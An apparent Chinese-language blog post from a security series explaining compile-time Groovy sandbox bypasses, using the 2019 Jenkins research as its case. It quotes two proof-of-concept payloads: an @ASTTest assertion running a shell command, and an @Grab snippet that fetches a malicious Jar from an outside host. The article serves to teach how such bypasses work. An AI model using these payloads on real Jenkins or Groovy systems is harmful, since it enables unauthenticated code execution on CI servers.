iT邦幫忙

2026 iThome 鐵人賽

DAY 18
0
Security

Agentic Era,一年來 LLM 到底都挖了些什麼洞!系列 第 18 篇

Day 18. 還沒執行就出事?Groovy 沙箱原理與 Jenkins 的慘痛教訓

  • 分享至 

  • xImage
  •  

正文

一般談 Script Sandbox,很容易想像成程式跑起來時,每呼叫一個危險操作,就去檢查是否允許。
但一段使用者程式,在正式執行之前,也可能要解析、編譯、轉換語法樹、載入相關類別。如果這些工作本身就有能力產生副作用,只保護最後的 Runtime 就不一定足夠,像是前幾天介紹過的 Twig 案例!

Groovy 101

Apache Groovy 是一種針對 Java 平台設計的物件導向、動態腳本語言。它可以直接在 Java 虛擬機器(JVM)上執行,並能無縫與現有的 Java 程式碼和函式庫互操作。

但我覺得它比 Java 友善多了,像是 Hello world

println "hello world"

ez!

所以作為一種 scripting language,它被內嵌在多種場合像是 Gradle 的自動化腳本以及 Jenkins 的 CI/CD Pipeline。
但任何可以跑程式碼的東西都挺危的、、、不覺得嗎?

接下來要講得研究正好就是相關 sandbox bypass 漏洞,就先來看看前人怎麼做的吧!

2019:Orange 的 Jenkins Groovy Sandbox Bypass

膜拜大神 <(_ _)>
詳細可閱讀原文: https://blog.orange.tw/posts/2019-02-abusing-meta-programming-for-unauthenticated-rce/ [1]

其實前面就好想在 Twig 時介紹,複習一下一個 script language 加入 sandbox 的流程:

Source text
  -> Parse
  -> AST transformation / semantic processing
  -> Code generation
  -> Load
  -> Runtime execution

沒錯,並不是直接進 Runtime 執行,而如果在前面 Code generation (Meta-Programming, 讓程式寫程式) 的過程就觸發了額外執行/生成不好的程式碼常常就會造成 Sandbox Bypass。

在橘神的研究中,他第一次找到的是 Assertion 插入惡意程式碼!

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
def x
''');

P.S. PHP 8 以前的版本也有個好玩的 Assertion Code Injection [2]

最後他改用了 @Grab,動態的 Jar Dependencies Loader 並透過重新指向自己的 malicious host,下載惡意 Jar 後完成命令執行!(透過 processRunners(…) 方法觸發),屬於是一種 LOLBAS 了 (x) orzzz

this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')

References


上一篇
Day 17. 熱愛型別的你 怎麼就動搖了呢?
下一篇
Day 19. Apache Nifi 再添一筆: Groovy Shell
系列文
Agentic Era,一年來 LLM 到底都挖了些什麼洞! 共 21 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言